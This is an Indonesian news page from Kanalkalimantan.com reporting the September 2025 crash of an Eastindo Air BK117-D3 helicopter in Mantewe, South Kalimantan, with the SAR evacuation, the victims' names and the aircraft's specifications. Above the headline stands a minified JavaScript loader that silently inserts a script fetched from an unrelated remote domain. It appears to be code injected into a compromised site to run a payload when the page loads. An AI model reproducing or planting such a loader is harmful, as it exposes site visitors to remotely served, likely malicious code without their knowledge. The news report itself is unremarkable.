(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

8 Korban Helikopter BK117-D3 Dievakuasi, Eastindo Air Layani Penerbangan Khusus


KANALKALIMANTAN.COM, BANJARBARU – Helikopter tipe BK117-D3 dengan register PK-RGH milik PT Eastindo Air jatuh terbakar di kawasan hutan lindung yang masuk wilayah Desa Emil Baru, Kecamatan Mantewe, Kabupaten Tanah Bumbu, Kalimantan Selatan, pada Senin (1/9/2025) sekitar pukul 12.02 Wita, akhirnya ditemukan, Rabu (3/9/2025) sore.

Tim SAR gabungan saat ini masih melakukan upaya evakuasi 8 korban dan bangkai serpihan pesawat dari dalam hutan.

Berdasarkan titik koordinat 3°05’06.0″S 115°37’39.1″E yang dioverlay dengan Google Earth, lokasi jatuhnya helikopter berada sekitar 3,51 kilometer dari air terjun Mandin Damar, pada ketinggian sekitar 670 meter di atas permukaan laut atau setara 2.197 kaki.

Baca juga: Helikopter Jatuh Terbakar, Besok Evakuasi 8 Korban Meninggal Dunia dari Mantewe ke Banjarmasin

Direktur Operasi Basarnas Laksamana Pertama TNI Yudhi Bramantyo menyebut, tim Search and Rescue Unit (SRU) darat sudah bergerak menuju lokasi penemuan helikopter BK117-D3 bernomor register PK-RGH itu.

“SRU darat diarahkan On Scene Commander menuju lokasi evakuasi,” kata Laksamana Yudhi kepada awak media, Rabu (3/9/2025) malam.

Laksamana Yudhi memastikan, seluruh tim SAR gabungan tetap bekerja keras. Proses ini, kata dia, mendapat banyak dukungan dari masyarakat setempat.

“Kami menyampaikan apresiasi setinggi-tingginya atas kolaborasi bantuan semua pihak,” ucapnya.

Baca juga: BREAKING NEWS: Tim SAR Temukan Helikopter BK117-D3 di Mantewe

Menurut Laksamana Yudhi, evakuasi korban tetap mengutamakan faktor keamanan dan keselamatan. Semua korban akan dievakuasi menuju Banjarmasin untuk proses lanjutan.

Saat ditanya soal kondisi awak helikopter, Direktur Operasi Basarnas memberi penjelasan. “Pengamatan sementara, seluruh awak helikopter meninggal dunia,” katanya.

Namun Laksaman Yudhi menegaskan kepastian menunggu hasil pemeriksaan lebih lanjut. “Kami akan pastikan kondisi bangkai helikopter yang terbakar. Menunggu laporan resmi dari Polda Kalsel,” tutupnya.

Delapan korban helikopter jatuh di Mantewe -dua crew dan enam penumpang – yang tercatat dalam penerbangan yaitu Haryanto, Hendra (pilot dan enggineer helikopter), sedangkan enam penumpang Mark Werren, Yudi Febrian, Andys Rissa Pasulu, Santha Kumar, Claudine Quito. Iboy Irfan Rosa. Tiga diantara enam penumpang merupakan warga negara asing (WNA).

Baca juga: Basarnas Pantau Proses Pencarian, Hilang Kontak Terakhir Sekitar Air Terjun Mandin Damar

Pesawat Milik Maskapai Eastindo Air, Layani Penerbangan Khusus

PT Eastindo Air merupakan maskapai penerbangan sewaan dan perintis yang berbasis di Jakarta. Maskapai ini sudah beroperasi lebih dari 30 tahun dan dikenal fokus pada standar keselamatan internasional, serta pelayanan penerbangan khusus seperti charter udara, evakuasi medis, dukungan pemadam kebakaran, hingga survei udara.

Armada Eastindo terdiri dari beberapa pesawat dan helikopter, di antaranya Beechcraft B1900D, Britten-Norman Islander, Airbus Helicopter AS350, serta BK117-D3.

Perusahaan yang berkantor di Flops Center Bandara Halim Perdanakusuma, Jakarta Timur ini juga aktif dalam operasi SAR dan layanan darurat.

Baca juga: Pemkab Kapuas Gelar Konsultasi Publik Penyusunan Produk Unggulan Daerah

Adapun helikopter BK117-D3 yang jatuh adalah jenis twin-engine dengan kapasitas hingga 10 orang termasuk pilot. Helikopter ini ditenagai dua mesin Safran Arriel 2E, memiliki jangkauan terbang 650–722 kilometer, kecepatan jelajah maksimum 241 km/jam, dan mampu beroperasi hingga 6.000 meter.

Kabin BK117-D3 didesain luas dengan lantai datar sehingga fleksibel untuk berbagai misi, mulai dari transportasi penumpang hingga layanan medis darurat. Helikopter ini juga dibekali avionik canggih Helionix dengan fitur autopilot 4-aksi, H-TAWS, SVS, dan dikenal rendah kebisingan berkat teknologi Fenestron di bagian ekor. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Risa

Recent Posts

‎Pemkab HSU Berikan Bonus Rp13,6 Miliar untuk Atlet‎ dan Pelatih

KANALKALIMANTAN.COM, AMUNTAI - ‎‎Senyum kegembiraan terpancar dari para atlet, salah satunya atlet renang, Putri yang… Read More

19 menit ago

Pemkab Kapuas Tetapkan Tiga Lokasi Pasar Ramadan, Ini Lokasinya

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menetapkan tiga lokasi pelaksanaan Pasar Ramadan 1447 Hijriah… Read More

12 jam ago

Bagian Umum Pengadaan Dua Kamera Mirrorless, Wali Kota Banjarmasin Tak Tahu

KANALKALIMANTAN.COM, BANJARMASIN – Pengadaan kamera mirrorless dua unit seharga Rp132.690.000 oleh Pemerintah Kota (Pemko) Banjarmasin… Read More

12 jam ago

Mahasiswa Banjarmasin Suarakan Keresahan Masyarakat di Balai Kota

Minta Pemko Banjarmasin Aktifkan Kembali 64 Ribu BPJS Warga Read More

15 jam ago

Kasus Pencabutan SHM Transmigran Sepihak di Kotabaru, Kementrans Kirim Tim Investigasi

KANALKALIMANTAN.COM, JAKARTA - Kementerian Transmigrasi (Kementrans) turun tangan langsung menangani kasus pencabutan Sertipikat Hak Milik… Read More

21 jam ago

Tempat Hiburan di Banjarbaru Wajib Tutup Selama Ramadan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru mengeluarkan surat edaran tentang pelaksanaan kegiatan masyarakat pada bulan… Read More

22 jam ago

This website uses cookies.